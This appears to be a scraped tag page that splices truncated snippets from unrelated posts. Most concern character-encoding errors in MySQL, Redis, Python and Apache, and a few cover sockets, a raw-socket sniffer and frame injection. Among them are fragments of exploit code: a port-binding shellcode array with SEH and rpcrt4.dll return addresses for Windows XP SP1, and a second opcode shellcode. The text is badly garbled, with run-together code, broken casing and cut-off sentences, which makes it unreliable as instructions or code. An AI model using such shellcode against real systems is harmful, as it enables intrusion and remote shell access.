xbb

Tags: nat nts images reg EXCE value Hiberna 0 rows sidHTTP Status 500-hibernate operation:could not insert: [cn.itcast.shop.product.vo.Product]; Uncategorized sqlexcept Ion for SQL [insert INTO Product (PName, Market_price, Shop_price, image, Pdesc, Is_hot, pdate, CSID) VALUES (?,?,?,?, ?, ?, ?, ?)]; SQL state [HY000]; Error code [1366]; Incorrect string value: ' \xe7\x99\xbb\xe9\x99\x86 ... ' for column ' image ' at row 1; Nested exception is Java.sq

Problem Description: In the local virtual machine Linux environment, Redis is installed and operated using the shell. I have stored in Redis the value of STR is Chinese "we", but when I get the value of str under the shell get to is: \xe6\x88\x91\xe4\xbb\xac.Workaround: Just want you to start redis-cli when you add the--raw parameter to start and then display it is normal.The value of str stored in Redis is Chinese "we", while the value of STR obtaine

Python implementation crawler encounters coding problems:Error:unicodeencodeerror: ' GBK ' codec can ' t encode character ' \xxx ' in position XXWORKAROUND: Change the standard output fromUrllibImportRequestimport Ioimport syssys.stdout = io. Textiowrapper (sys.stdout.buffer,encoding= ' gb18030 ') #改变标准输出的默认编码Req=request. Request ('http://www.baidu.com') Req.add_header ('user-agent','mozilla/5.0 (Windows NT 6.3; WOW64) applewebkit/537.36 (khtml, like Gecko) chrome/61.0.3163.100 safari/537.36') R

Scene: After opening the UTF-8 format file, the int type conversion times is wrong. The error code is as follows: with open (file) as F: For I in F: print int (i.split (', ')) The error is as follows: Valueerror:invalid literal for int () with base: ' \xef\xbb\xbf1 ' Workaround: Using Codecs.open to open the file, it decodes in UTF-8 format and ignores the initial BOM of the file, and finally returns Unicode data. The code is as follows: Imp

VARCHAR (CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT '; The Utf8mb4 is completely backwards compatible with UTF8, with no garbled or other data loss forms. Theoretically it can be safely modified ... It is convenient to modify the database. Modify the URL of the connection database in the project, remove Characterencoding=utf-8, this step must be 2) Custom filter rules that filter or convert the four-byte UTF-8 characters that appear in the text to a custom type. The following

After installing configuration apache2 and SVN in SVN's readme file,The following issue occurs when you start the Apache2 serviceCannot load C:/Program Files/apache software foundation/apache2.2/modules/mod_dav_svn.so into server: \XD5\XD2\XB2\XBB \xb5\xbd\xd6\xb8\xb6\xa8\xb5\xc4\xc4\xa3\xbf\xe9\xa1\xa3The problem is that the DLL files in the Svn/bin need to be copied to Apache/bin, in addition to copying svn/bin so files into Apache/modules.Reference

Problem Description: Java.sql.SQLException:Incorrect string value: ' \XF0\X9F\X90\XBB ' for column ' nickname ' at row 1 at Com.mysql.jdbc.SQLError.createSQLException (sqlerror.java:1094) at Com.mysql.jdbc.MysqlIO.checkErrorPacket (mysqlio.java:4226) at Com.mysql.jdbc.MysqlIO.checkErrorPacket (mysqlio.java:4158) at Com.mysql.jdbc.MysqlIO.sendCommand (mysqlio.java:2615) at Com.mysql.jdbc.MysqlIO.sqlQueryDirect (mysqlio.java:2776)

operating systems, prevents clients from disconnecting after a dead loop break Conn.close () Server.close () Client SideImport socketclient = Socket.socket (socket.af_inet, socket. SOCK_STREAM) print (client) client.connect ((' 127.0.0.1 ', 8088)) while True: data = input (' input >>> ') If not data: # to continue entering continue client.send (Data.encode (' GBK ')) # send data response = bytes () If it is empty Data = CLIENT.RECV (1024x768) # receives the print ('

1. Frame InjectionFor an introduction to Ethernet frames and raw sockets, refer to a previous post that uses raw sockets for Ethernet frame sniffing. Features of frame injection:　　 Packets from the original data format can be injected into the network. Very powerful in analog network response. The original socket package structure is not malleable.　Random Injection If you can randomly inject data into the network, you can send any data to the network. ^_^

uninstallScriptAlias/PHP/"D:/PHP /"Action application/X-httpd-PHP "D:/PHP/php-cgi.exe"Phpinidir "D:/PHP /"Loadmodule php5_module "D:/PHP/php5apache2_2.dll"# Phpinidir "D:/PHP /"Loadmodule php5_module "D:/PHP/php5apache2. dll"# Phpinidir "D:/PHP /"Loadmodule php5_module "D:/PHP/php5apache. dll"# End PHP installer edits-remove only on uninstallRestart the apache service! 3. Next, let's verify that PHP runs properly on the Apache server. Create a text file and enter the content " PHP warning: Ph

#encoding =gb2312import urllibimport redef gethtml (URL): page = urllib.urlopen (URL) html = page.read () return htmldef getimg (HTML): reg = R ' Print HTML #这样输出一堆Unicode码print imglist[0] #for img in imglist:# print imgThe above is a simple example of my study of Python crawler, I modified the online spread of the download Baidu image example, used to crawl some of the course name of online coursesBut I found an interesting question, like the codeIf the HTML is directly after the

Well, it's a pain in the egg. Code conversion problem: to the shape of the string as \XE9\XBB into Chinese ... In Python we can print "\xe9\xbb\x84" directly, In the shell we direct echo $ ' \xe9\xbb\x84 ' #echo-e ' \xe9\xbb\x84 ' is OK, Note: You cannot directly echo $ ' \xde\xab ' |iconv-f gbk-t utf-8, Because GBK wo

/archive/2011/04/27/6366067.aspxMysql database connection problems, difficult to solve... Extension = php_mysql.dllExtension = php_mysqli.dllCopy to window \ system32. try Post the error. log file in the log folder under your APACHE installation directory Extension = php_mysql.dllExtension = php_mysqli.dllCopy to window \ system32. try again, no use. Put the error in the log folder under your APACHE installation directory. post the log file to PHP Warning: PHP Startup: Unable to load dynami

\ xC2 \ xD7 \ xFA \ xF5 \ xD5 \ x09 "."\ X9E \ xFC \ x02 \ x8E \ xFF \ x0A \ x92 \ xFF \ xD3 \ xF1 \ xBB \ xFE \ xF9 \ xF4 \ xFF \ x5E \ x1A \ xFF \ xF6 \ xF0 \ x99 \ xD1 \ x6C \ xEF \ x56 "."\ X39 \ x19 \ xBB \ xF8 \ xD5 \ xF1 \ xFE \ x9F \ xD4 \ x73 \ x94 \ xD2 \ x62 \ xCD \ xE8 \ xB8 \ x64 \ xBE \ xFF \ xEC \ x4C \ x3D \ xC8 \ xF0 \ xFD "."\ X06 \ x99 \ xFD \ xFB \ xB5 \ x27 \ x87 \ xC7 \ x54 \ x20 \ x9

/x00" "/X20/x00/x00/x00/x20/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00" "/X4c/x03/x00/x00/x4c/x03/x00/x00/x20/x45/x4d/X46/x00/x00/x01/x00" "/X40/x00/x00/x00/x0b/x00/x00/x00/x0a/x00/x00/x00/xFF/x00/x00" "/Xeb/X12/x90/x90/x90/x90/x90/x90" "/X9e/x5c/x05/x78"/* Call [EDI + 0x74 h]-rpcrt4.dll */ "/Xb4/x73/xed/x77";/* Top Seh-XP SP1 */ Unsigned char portbind_ SC [] = "/X90/x90/x90/x90/x90/x90/x90/x90" "/Xeb/x03/x5d/xeb/x05/xe8/xf8/xFF" "/XFF/x8b/xc5/x83/xc0/X11/x33/xc9/x66/xb9/xc9/x01/X80/x30/x88

sessions. The solution is to save the file as an ASCII code if it only contains English characters (or characters in ASCII code. With the UE Editor, click File> convert> UTF-8 to ASCII, or select ASCII encoding in Save. If it is a line tail character in DOS format, you can open it in notepad, click Save As, and select ASCII encoding. If it contains Chinese characters, you can use the Save as function of UE, select "UTF-8 without BOM. Of course, how can this problem be solved during processing i

}}/*****************************************************************************//*****************************************************************************///example_7 non-empty characters Shellcodechar OpCode[]= "\x55\x8B\xec\x33\XC0\x66\XB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F ""\x68\x65\x78\x61\x6D\x66\XB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xdc\x53\XBB\x7B ""\x1D\x80\x7C\xff\xd

The problem that json strings cannot be parsed is that I made a PHP interface and the returned data is in json format (the data format is correct and the encoding is in utf8 format ); however, this json format data cannot be parsed during the call, but I can parse the returned data by copying it into a string. After searching for half a day, I found that there was a blank space in front of the output source code. However, this blank space cannot be solved through trim's space removal method, sim

Locate the file that contains the BOM header, as follows:Grep-r-i-l $ ' ^\xef\xbb\xbf './This command finds all the files that contain the BOM header in the current directory and subdirectories, and outputs the file name on the screen. However, the deletion of the BOM header, the Web-found commands are mostly not available, the more common command is: Grep-r-i-l $ ' ^\xef\xbb\xbf '/path |Xargs sed-i ' s/^\x

packetwhile True: print S.recvfrom (65565) Run this and root privileges or sudo on Ubuntu: $ sudo python sniffer.py The above sniffer works on the principle that a raw socket are capable of receiving all (for its type, like Af_inet) Incomi NG traffic in Linux. The output could: $ sudo python raw_socket.py ("E \x00x\xcc\xfc\x00\x000\x06j%j}g\x13\xc0\xa8\x01\x06\x01\xbb\ Xa3\xdc\x0b\xbei\xbf\x1af[\x83p\x18\xff\xff\x88\xf6\x00\x00\x17\x03\x01\x00\x1c\x